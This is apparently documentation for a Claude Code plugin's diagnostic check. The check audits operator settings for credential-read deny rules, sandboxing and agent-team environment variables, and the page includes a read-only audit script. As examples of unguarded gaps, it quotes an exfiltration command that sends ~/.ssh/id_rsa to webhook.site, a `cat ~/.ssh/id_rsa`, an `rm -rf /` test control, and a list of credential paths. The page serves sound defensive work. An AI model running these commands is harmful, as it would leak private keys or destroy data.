---
title: "Doctor: Check 16: Operator Settings Posture"
description: "a scope Claude Code actually reads."
canonical: "https://orchestkit.yonyon.ai/docs/reference/skills/doctor/references/settings-posture"
---

# Doctor: Check 16: Operator Settings Posture

a scope Claude Code actually reads.

> Part of the [Doctor](/docs/reference/skills/doctor) skill reference. The main page carries the skill itself; this page holds material that used to sit at the bottom of it.

### Settings Posture

# Check 16: Operator Settings Posture

**Severity: warn.** Every finding here is a *recommendation* to write something into
a scope Claude Code actually reads. Doctor never edits a settings file; it prints the
exact JSON and the operator pastes it. A session runs fine with all of these missing.
It just runs with less protection than the old docs implied.

## The constraint, stated once so nobody re-adds these to the plugin

A plugin's bundled `settings.json` is **not a settings scope**. `plugins-reference.md`
line 858, verbatim:

> Default configuration applied when the plugin is enabled. Only the `agent` and
> `subagentStatusLine` keys are currently supported.

`settings.md:15-24` enumerates the scopes CC merges: **Managed / User / Project /
Local**. A plugin bundle is not among them. So `permissions`, `sandbox`, `env`,
`fileSuggestion`, `plansDirectory` and friends are **inert** inside a plugin no
matter how correct their values are. That is why this check exists: the controls
below can only be real in the *operator's* own settings, and the only honest thing
ork can do is detect their absence and hand over the JSON.

Two live proofs this was inert rather than merely undocumented, both measured
2026-08-09: ork declared `plansDirectory: ".claude/plans"` and that directory has
never existed in any checkout while the default `~/.claude/plans` does; ork declared
`sandbox.enabled: true` **with `failIfUnavailable: true`**, which would have
hard-failed startup or sandboxed every Bash call, and neither has ever happened.

**Do NOT re-home the whole old block.** Several of its keys were wrong or harmful.
`CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1` forces permission mode back to `default`,
defeating `--dangerously-skip-permissions`, `--permission-mode`, and agent-frontmatter
`permissionMode`. `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS=8000` would cut ork's own
30s-derived SessionEnd budget. `ORCHESTKIT_LOG_LEVEL=warn` short-circuits `/debug`
escalation. `CLAUDE_CODE_NO_FLICKER=1` fights an explicit `tui: "default"`.
Only the groups below are worth recommending.

## What the check looks for

| # | Finding | Why it matters | Hook coverage at HEAD |
|---|---------|----------------|-----------------------|
| 1 | No credential-read `permissions.deny` rules | `Read(~/.ssh/**)` and friends are a second layer between an agent and a private key | **HOOK COVERAGE EXISTS** since 2026-08-16. Re-measured at `c429c0233`: the `Read` matcher in `hooks.json` carries `pretool/read/credential-read-guard` FIRST, then `pretool/read/tldr-summary` and `lifecycle/webhook-forwarder`. The guard DENIES `~/.ssh/**`, `~/.gnupg/**`, `~/.aws/credentials`, `~/.netrc`, `~/.npmrc`, matching both the lexical path and the realpath, case-folded for APFS. It covers the `Read` TOOL only, so a `cat ~/.ssh/id_rsa` through Bash is still the `sync-bash-dispatcher` lane. Deny rules remain worth having as defence in depth, not as the only thing |
| 2 | No `sandbox` block | OS-level Bash isolation plus the exfil-domain denylist | **PARTIAL.** `pretool/bash/network-egress-guard` returns `ask` on the *upload* shape, but a plain `curl -s https://pastebin.com/raw/…`, and even `curl -s https://webhook.site/x?d=$(cat ~/.ssh/id_rsa)`, ABSTAIN. Prompt is not block, and GET-shaped exfil walks straight through |
| 3 | `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS` in no settings file | ork's own `src/hooks/src/lib/agent-teams.ts:28` gates `isAgentTeamsActive()` on `=== '1'`. Without it, team mode degrades silently: no error, no log line | N/A, a hook cannot set its own env |
| 8 | `permissions.blockReadsOutsideWorkingDirectories: true` with no `~/.claude` in `additionalDirectories` (CC 2.1.257) | The key turns auto mode's one-time outside-read prompt into a refusal. analytics, dream, memory and doctor read `~/.claude` by design, and cross-repo work reads sibling checkouts; with the key set they fail silently instead of prompting once | N/A, a hook cannot widen the read boundary. `check-operator-permissions.cjs` reports it under `read_boundary` and prints the warning; never fails on it |
| 9 | Project-scope `sandbox.enabled: false` while the user scope sets it true (#3877) | CC merges local > project > user, so the project file wins and every Bash call in that project runs with no sandbox: no egress denylist, no filesystem boundary. The user scope still reads as protected, so setup phase 3.6 and a user-scope-only read both look green. Measured 2026-09-02 in orchestkit: a gitignored `.claude/settings.local.json` carried the key and every denied host answered 200 | N/A, a hook cannot re-enable the sandbox. `check-operator-permissions.cjs` reports it under `sandbox_override` with the project `file:line` and the user `file:line`, names the effective source under `sandbox.source`, and prints the warning; never fails on it |

Findings 4 and 5 are *offers*, not defects. `ENABLE_TOOL_SEARCH` and
`CLAUDE_CODE_PLUGIN_KEEP_MARKETPLACE_ON_FAILURE` are real, useful, and entirely
optional. Report them at info level and never fail on them.

A sixth offer, same posture (#3325, EPIC D): `autoCompactWindow` in user-scope
settings. CC 2.1.219+ accepts an integer 100000..1000000 ("Auto-compact window
size", verified in the 2.1.227 binary schema) that arms CC's NATIVE precomputed
compaction at the chosen context size. This is the CC-native mechanism the old
four-hook compaction layer approximated with home-grown token accounting, and
the reason parts of that layer were deleted (#3321: the imminent-zone gate
never fired in 2,246 recorded invocations because its counter measured a
subset of context against a whole-window threshold). ork cannot ship it as a
plugin default — a plugin settings.json is not a settings scope CC reads
(binary-proven at 2.1.226, see the header of this file) — so the doctor
OFFERS it and never sets it. Report at info level when absent; never fail on
it.

A seventh offer (#3324): `CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH` pinned to `3`
in the operator's own settings. CC 2.1.219 restored nested subagent spawning's
own default from 1 to 3 (it had been disabled by default since 2.1.217),
converging exactly with the depth-3 ceiling `chain-patterns/SKILL.md`
Pattern 9 already recommends in prose. Pinning the var explicitly makes that
convergence portable and mechanical — CC withholds the `Agent` tool once the
pinned depth is hit, instead of the budget depending on the model reading
Pattern 9's guidance (still the only enforcement while `parent_agent_id`
stays unexposed at SubagentStart). It is an offer, not a gap: the CC default
already matches ork's convention, so an absent pin degrades to "guidance
only," not "unbounded." ork cannot ship the pin itself — a plugin
settings.json is not a settings scope CC reads (binary-proven at 2.1.226, see
the header of this file) — so the doctor OFFERS it and never sets it. Report
at info level when absent; never fail on it.

## The check

Read-only. Never prints an environment variable's **value** (presence is tested with
`[ -n "$\{VAR+x\}" ]`), and never writes a settings file.

```bash
U="$HOME/.claude/settings.json";  UL="$HOME/.claude/settings.local.json"
P=".claude/settings.json";        PL=".claude/settings.local.json"

# jq over an OPTIONAL file. The `-f` test is the guard, so neither `2>/dev/null`
# nor `|| true` is needed or wanted.
key() { if [ -f "$1" ]; then jq -r "$2 // empty" "$1"; fi; }

# First non-empty across the four real scopes; local and project win over user.
first() {
  for f in "$PL" "$P" "$UL" "$U"; do
    v="$(key "$f" "$1")"
    if [ -n "$v" ]; then printf '%s' "$v"; return; fi
  done
}

# 1. credential-read deny rules, counted across every scope.
#    awk 'END{print n+0}' rather than `grep -c … || true`: a grep over a
#    possibly-missing file returns non-zero even when it matched, and a
#    trailing `||` on that inverts the verdict.
#    `.permissions.deny // []` BEFORE the `[]`: a file carrying `permissions`
#    with no `deny` key yields null, and `.permissions.deny[]` fails on it with
#    "Cannot iterate over null" and rc=5. Measured against a real
#    ~/.claude/settings.local.json on 2026-08-09. Guarding after the iteration
#    is too late — the alternative never runs.
cred_deny="$(
  for f in "$PL" "$P" "$UL" "$U"; do key "$f" '.permissions.deny // [] | .[]'; done \
  | awk '/\.ssh|\.aws|\.gnupg|\.netrc|\.npmrc/ { n++ } END { print n+0 }'
)"

# 2. sandbox posture. Check 15 reads settings.local.json only; this reads all four.
sandbox="$(first '.sandbox.enabled')"
# `length` must NOT be taken before the null test. `first` stops at the first
# NON-EMPTY answer, and `null | length` is 0 — a non-empty string. So the first
# scope-file that merely EXISTS without a sandbox block (settings.local.json,
# on nearly every machine) shadows the user scope and pins this to 0 forever:
# the finding could never report the healthy state. Verified 2026-08-09 against
# a fixture declaring 2 denied domains, which the pre-fix filter read as 0.
# A DECLARED empty array must still report 0, so only null may map to empty.
denied_domains="$(first '.sandbox.network.deniedDomains | if . == null then empty else length end')"

# 3-6. env keys: settings-declared vs merely live in this shell.
for v in CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS ENABLE_TOOL_SEARCH \
         CLAUDE_CODE_PLUGIN_KEEP_MARKETPLACE_ON_FAILURE \
         CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH; do
  in_settings="no"; if [ -n "$(first ".env.$v")" ]; then in_settings="yes"; fi
  in_env="no";      if [ -n "${!v+x}" ];              then in_env="yes";      fi
  printf '%s settings=%s shell=%s\n' "$v" "$in_settings" "$in_env"
done
```

`settings=no shell=yes` is its own finding, not a pass. The variable survives only as
long as that shell profile does: it is absent from a GUI launch, from any other
machine, and for every other user of the same repo.

## Example output, FAILING (what a typical machine prints today)

Measured on a real machine, 2026-08-09, CC 2.1.226. `~/.claude/settings.json` carries 20
top-level keys and `permissions.deny` holds 5 entries, all five of them MCP tool names
from a single private server (`mcp__&lt;server&gt;__&lt;tool&gt;`, four message-send tools and one
session-logout). Not one is a credential-read rule.

That shape is the common one and it is the point of this check: operators reach for
`permissions.deny` to stop a specific noisy tool, not to close the credential-read lane.
Five rules can look like a configured posture while covering nothing this check is about.

```
+-- Check 16: Operator Settings Posture ----------------------------------+
| ❌ permissions.deny  0 credential-read rules across 4 scopes             |
|    Read tool IS hook-covered; deny rules add depth. Bash lane differs. |
| ❌ sandbox          absent from user AND local settings                  |
|    deniedDomains: 0, so GET-shaped exfil is unguarded.                   |
| ⚠️ AGENT_TEAMS      settings=no  shell=yes                               |
|    Live via ~/.zshrc only. Non-portable: team mode is silently degraded  |
|    on every other machine and for every other user of this repo.         |
| ℹ️ TOOL_SEARCH      settings=no  shell=no   (optional tuning)            |
| ℹ️ KEEP_MARKETPLACE settings=no  shell=no   (optional resilience)        |
| ℹ️ SPAWN_DEPTH      settings=no  shell=no   (CC default already 3)       |
+-------------------------------------------------------------------------+
| Status: WARN (2 gaps, 1 non-portable, 3 offers)                          |
| Fix: ork:configure skill, section "Operator-Scope Settings", or paste    |
|      configure/references/operator-scope-settings.md (stage 1 first).    |
+-------------------------------------------------------------------------+
```

## Example output, PASSING

```
+-- Check 16: Operator Settings Posture ----------------------------------+
| ✅ permissions.deny  5 credential-read rules (user scope)                |
| ✅ sandbox          enabled, deniedDomains: 18, credentials.files: 5     |
| ✅ AGENT_TEAMS      settings=yes (user scope), portable                  |
| ℹ️ TOOL_SEARCH      settings=yes                                         |
| ℹ️ KEEP_MARKETPLACE settings=no  (optional, declined)                    |
| ℹ️ SPAWN_DEPTH      settings=yes (user scope, pinned to 3)               |
+-------------------------------------------------------------------------+
| Status: PASS                                                             |
+-------------------------------------------------------------------------+
```

## Reporting rules

- Findings 1 and 2 are **warn**. They are genuine missing protection, and the hook
  layer demonstrably does not cover them.
- Finding 3 is **warn** whenever `settings=no`, regardless of `shell`. A shell-only
  value is a machine-local accident, not configuration.
- Findings 4-6 are **info**, always. Never fail a run on them.
- Every warn prints the exact JSON to paste and the scope to paste it into. Doctor
  diagnoses AND prescribes; it does not just list.

## Honest limits, STATE THESE IN THE OUTPUT, do not hide them

- **Doctor cannot see managed settings.** An enterprise managed profile may already
  supply all of this and doctor would still report it missing. Say "not visible in
  user/project/local scope", never "not set".
- **`permissions.deny` is a permission-layer control, not containment.** It stops the
  `Read` tool. It does not stop a Bash subprocess from reading the same file. That is
  what the `sandbox` block is for, and it is why finding 2 is not redundant with
  finding 1.
- **`sandbox` is Bash-only.** Read/Write tools, MCP servers, and hooks run unsandboxed
  on the host. See Check 15 for the full caveat list; this check adds the
  `network.deniedDomains` and `credentials.files` dimensions that Check 15 never reads.
- **Check 15 and Check 16 overlap on purpose and can disagree by scope.** Check 15
  reads `settings.local.json` only; Check 16 reads all four. If they disagree, the
  block is set in a scope Check 15 does not look at.
- **Finding 9 reads only the four scope files.** A project-scope `sandbox.enabled: false` with no user-scope
  `true` is not an override (CC's default is off), so it is not reported; a managed-settings `true` is
  invisible here for the same reason as everything else in this check.
- **No runtime API.** Settings files are the only signal. A session sandboxed via a CLI
  flag with no settings key reads here as "absent".
- **Hook-coverage claims in this file are dated.** They were measured against
  `src/hooks/bin/run-hook.mjs` on 2026-08-09 with `rm -rf /` as a passing control.
  Re-run the probes before citing them: an unregistered hook key returns
  `\{"continue":true\}` with no decision, which reads exactly like an allow.
